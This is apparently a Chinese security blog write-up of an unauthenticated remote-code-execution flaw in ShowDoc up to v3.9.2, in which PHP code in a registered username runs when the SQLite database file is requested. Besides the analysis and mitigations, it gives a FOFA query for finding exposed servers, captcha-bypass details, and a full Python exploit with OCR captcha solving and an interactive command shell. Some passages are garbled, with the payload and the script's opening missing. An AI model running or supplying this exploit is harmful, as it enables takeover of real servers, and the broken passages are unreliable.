# 漏洞简介 ShowDoc 是 star7th 开发的开源在线 API 文档与文档协作工具,基于 PHP(Nginx + PHP-FPM)实现,提供注册/登录与文档管理能力,默认使用 SQLite 数据库,支持 Docker 一键部署,常用于企业内部 API 文档、数据字典、说明文档的沉淀与共享。 漏洞位于注册接口 registerByVerify(`/server/index.php?s=/Api/User/registerByVerify`)。接口对 username 参数仅做 `trim()` 处理,无字符白名单校验,恶意用户名作为普通字符串写入 SQLite 数据库文件 `Sqlite/showdoc.db.php`。该文件位于 Web 根目录且以 `.php` 结尾,攻击者直接请求该文件时,PHP-FPM 将其作为 PHP 脚本解析,执行 username 中注入的代码,实现未授权远程代码执行。攻击者利用该漏洞可执行任意系统命令、落地持久化 webshell,完全控制受影响系统。 漏洞编号:XVE-2026-54414(微步)、QVD-2026-61708(奇安信)。 利用条件:注册功能开启(默认开启),目标使用默认 SQLite 部署。全程无需任何认证。 # 影响版本 - 影响版本:ShowDoc <= v3.9.2 - 修复版本:v3.9.3(官方已发布,见 star7th/showdoc Release) # fofa语法 ``` app="ShowDoc" ``` ![](https://image.mrxn.net/af4f7e53a66b46a9b6ea6dcf18576398.webp) # 漏洞分析 ## 攻击链总览 ```mermaid sequenceDiagram autonumber participant Attacker as 攻击者 participant Web as ShowDoc 服务 participant FPM as Nginx 加 PHP-FPM participant DB as Sqlite 数据库文件 rect rgb(255,0,0,0.15) Note over Web,DB: 前置条件: 注册功能开启, 数据库已完成结构升级 Attacker->>Web: POST /server/index.php 接口 registerByVerify Note over Attacker,Web: username 携带恶意 PHP 代码 (system 与 __halt_compiler, 尾部随机后缀) Web->>Web: registerByVerify 仅 trim 处理, 无字符白名单校验 Web->>DB: INSERT INTO user, 恶意用户名原样写入数据库文件 end rect rgb(255,0,0,0.15) Note over Attacker,DB: 请求数据库文件触发执行 Attacker->>Web: GET /Sqlite/showdoc.db.php 带 cmd 参数 Web->>FPM: .php 后缀命中, PHP-FPM 接管解析 FPM->>FPM: PHP 标签前 SQLite 二进制按内联 HTML 输出 FPM->>FPM: 注入 payload 为文件首个 PHP 标签, system 执行命令 FPM->>FPM: __halt_compiler 终止编译, 后续 parse error 源失效 FPM-->>Attacker: 返回命令执行结果 end ``` ## 注入点 `registerByVerify()`(server/app/Api/Controller/UserController.php): ```php $username = trim($this->getParam($request, 'username', '')); ``` 过滤逻辑为 `trim()`,无字符类型校验。恶意用户名进入 INSERT 语句,存储类型 TEXT。v3.9.3 补充格式正则 `^[a-zA-Z0-9_\-\x{4e00}-\x{9fa5}]{2,30}$`。 ## 落地点 默认存储 SQLite。数据库文件为 `Sqlite/showdoc.db.php`(server/app/Common/Database/Database.php,DB_NAME 默认值)。`.php` 后缀的设计意图是阻止静态下载,副作用是库内字符串会进入 PHP 词法扫描。 ## 触发点 `GET /Sqlite/showdoc.db.php` → nginx 匹配 `.php` 后缀 → php-fpm 解析。 PHP 词法规则:` ``` 3. 请求数据库文件触发执行: ``` GET /Sqlite/showdoc.db.php?cmd=id ``` 响应包含 SQLite 二进制(内联 HTML 输出)与命令执行结果。payload 尾部随机后缀位于 `__halt_compiler();` 之后,编译器忽略,保证用户名唯一,支持重复利用。 注册接口校验验证码。验证码为 Gregwar\Captcha,4 位,字符集 `ABCDEFGHJKLMNPQRSTUVWXYZ23456789`(不含 0/O/1/I),校验忽略大小写;每次重试生成新 captcha_id,接口无频率限制。 showdoc-registerbyverify-rce 提供 Python 利用脚本 exploit.py(EXP代码参考附录部分),依赖 Python 3 标准库,`--ocr` 模式需安装 ddddocr: ```bash python3 exploit.py --url http://: --ocr --cmd id ``` 验证码识别双模型输出一致且符合字符集/长度约束才提交;`--db` 参数在目标库文件本机可达时直接读取验证码明文;`-i` 进入交互式命令执行。 ![](https://image.mrxn.net/5e170915e12547cfa6f6cc46907435d1.webp) # 缓解措施 1. 升级至 v3.9.3+; 2. 关闭注册:options 表 register_open 置为 0; 3. Web 服务器层禁止访问 /Sqlite/ 目录(Nginx 增加 deny 规则)。单独执行即可切断触发路径; 4. SQLite 数据库文件迁移出 Web 根目录(如 /data/),或在文件头部增加 `` 防护;有条件建议切换 MySQL; 5. WAF/防护设备拦截 `POST /server/index.php?s=/Api/User/registerByVerify` 中 username 参数携带 ` "v3.9.2": fail(f"{version} 已修复该漏洞 (v3.9.3 起对 username 做格式校验), 复现可能失败") return version except Exception as e: fail(f"版本探测失败: {e}") return None def solve_captcha(base, args): """获取验证码明文: 手动 > 本地库读取 > 看图输入""" data = json.loads(http_post(base + CAPTCHA_PATH, {})) captcha_id = data["data"]["captcha_id"] info(f"captcha_id = {captcha_id}") if args.captcha: return captcha_id, args.captcha.strip() if args.db: conn = sqlite3.connect(f"file:{args.db}?mode=ro", uri=True) try: row = conn.execute( "SELECT captcha FROM captcha WHERE captcha_id=? AND expire_time>strftime('%s','now')", (captcha_id,)).fetchone() finally: conn.close() if row: ok(f"从本地 SQLite 读出验证码: {row[0]}") return captcha_id, row[0] fail("本地库中未读到该验证码, 回退到看图输入") img = http_get(base + CAPTCHA_IMG_PATH.format(captcha_id)) path = tempfile.gettempdir() + "/showdoc_captcha.png" with open(path, "wb") as f: f.write(img) info(f"验证码图片已保存: {path} (macOS 可执行 open 命令查看)") code = input(" 请输入图片中的验证码: ").strip() return captcha_id, code def register(base, captcha_id, captcha): """注册携带恶意代码的用户名, 返回是否成功""" username = PAYLOAD + "".join(random.choices(string.ascii_lowercase + string.digits, k=8)) password = "Poc12345x!" data = { "username": username, "password": password, "confirm_password": password, "captcha_id": captcha_id, "captcha": captcha, } resp = json.loads(http_post(base + REGISTER_PATH, data)) if resp.get("error_code") == 0: ok(f"恶意用户注册成功 (uid={resp['data']['uid']}), payload 已写入 Sqlite/showdoc.db.php") return True fail(f"注册失败: {resp}") if resp.get("error_code") == 10206: fail("验证码不正确: 若用 --db 方式, 请确认容器卷路径正确且库文件为最新") return False CAPTCHA_CHARSET = set("ABCDEFGHJKLMNPQRSTUVWXYZ23456789") def try_ocr_register(base, max_register=8, max_samples=24): """ddddocr 新旧双模型集成打码, 输出一致才提交; 验证码失败换新码重试。 实测 (Gregwar 4 位验证码, 40 样本): 单模型过滤后 ~50%, 双模型集成 70%, 注册重试 <= 8 次成功率 ~100%, 期望采样 ~11 次, 全程 5-10 秒。 """ try: import io import ddddocr from PIL import Image except ImportError: fail("自动打码缺少依赖: pip install ddddocr (或改用 --captcha / --db 模式)") return False ocr_new = ddddocr.DdddOcr(show_ad=False) ocr_old = ddddocr.DdddOcr(show_ad=False, old=True) def predict(img_bytes, ocr): im = Image.open(io.BytesIO(img_bytes)) im = im.resize((im.width * 2, im.height * 2)).convert("L") buf = io.BytesIO() im.save(buf, "PNG") return ocr.classification(buf.getvalue()).upper().strip() def valid(p): return len(p) == 4 and set(p) <= CAPTCHA_CHARSET samples = 0 for attempt in range(1, max_register + 1): while samples < max_samples: samples += 1 data = json.loads(http_post(base + CAPTCHA_PATH, {})) captcha_id = data["data"]["captcha_id"] img = http_get(base + CAPTCHA_IMG_PATH.format(captcha_id)) p_new, p_old = predict(img, ocr_new), predict(img, ocr_old) if not (valid(p_new) and p_new == p_old): continue info(f"第 {attempt} 次注册: captcha_id={captcha_id}, 双模型识别={p_new} (采样 {samples} 次)") if register(base, captcha_id, p_new): return True break else: break fail("自动打码注册失败: 可重跑脚本, 或改用 --captcha / --db 模式") return False def execute(base, cmd): """触发存储的恶意代码并提取命令输出""" m1 = "".join(random.choices("0123456789abcdef", k=12)) m2 = "".join(random.choices("0123456789abcdef", k=12)) wrapped = f"echo {m1}; {cmd}; echo {m2}" url = base + TRIGGER_PATH + "?cmd=" + urllib.parse.quote(wrapped, safe="") resp = http_get(url) match = re.search(m1.encode() + rb"\r?\n(.*?)" + m2.encode(), resp, re.S) if match: return match.group(1).decode("utf-8", "replace") return None def main(): banner = """ ============================================================== ShowDoc <= 3.9.2 registerByVerify PHP 代码注入 RCE 复现 漏洞编号 XVE-2026-54414 | 仅限本地授权安全研究使用 ============================================================== """ print(banner) parser = argparse.ArgumentParser(description="ShowDoc registerByVerify RCE 本地复现脚本") parser.add_argument("--url", required=True, help="目标根 URL, 如 http://target:4999") parser.add_argument("--db", help="本地挂载的 SQLite 库文件路径 (用于自动读取验证码明文)") parser.add_argument("--captcha", help="手动指定验证码 (配合图片人工识别)") parser.add_argument("--ocr", action="store_true", help="ddddocr 双模型自动打码, 失败自动换码重试 (需 pip install ddddocr)") parser.add_argument("--cmd", default="id", help="要执行的命令 (默认 id)") parser.add_argument("-i", "--interactive", action="store_true", help="交互式命令执行模式") args = parser.parse_args() base = args.url.rstrip("/") check_version(base) if args.ocr: if not try_ocr_register(base): sys.exit(1) else: captcha_id, captcha = solve_captcha(base, args) if not register(base, captcha_id, captcha): sys.exit(1) info(f"触发: GET {TRIGGER_PATH}?cmd=...") out = execute(base, args.cmd) if out is None: fail("未获取到命令输出, 触发失败") sys.exit(1) ok("命令执行成功, `id` 结果:\n" + out.rstrip()) if args.interactive: print() print("[*] 进入交互模式, 输入 exit 退出") while True: try: cmd = input("cmd> ").strip() except (EOFError, KeyboardInterrupt): break if not cmd or cmd.lower() in ("exit", "quit"): break out = execute(base, cmd) print(out if out else "(无输出/执行失败)") if __name__ == "__main__": main() ``` ----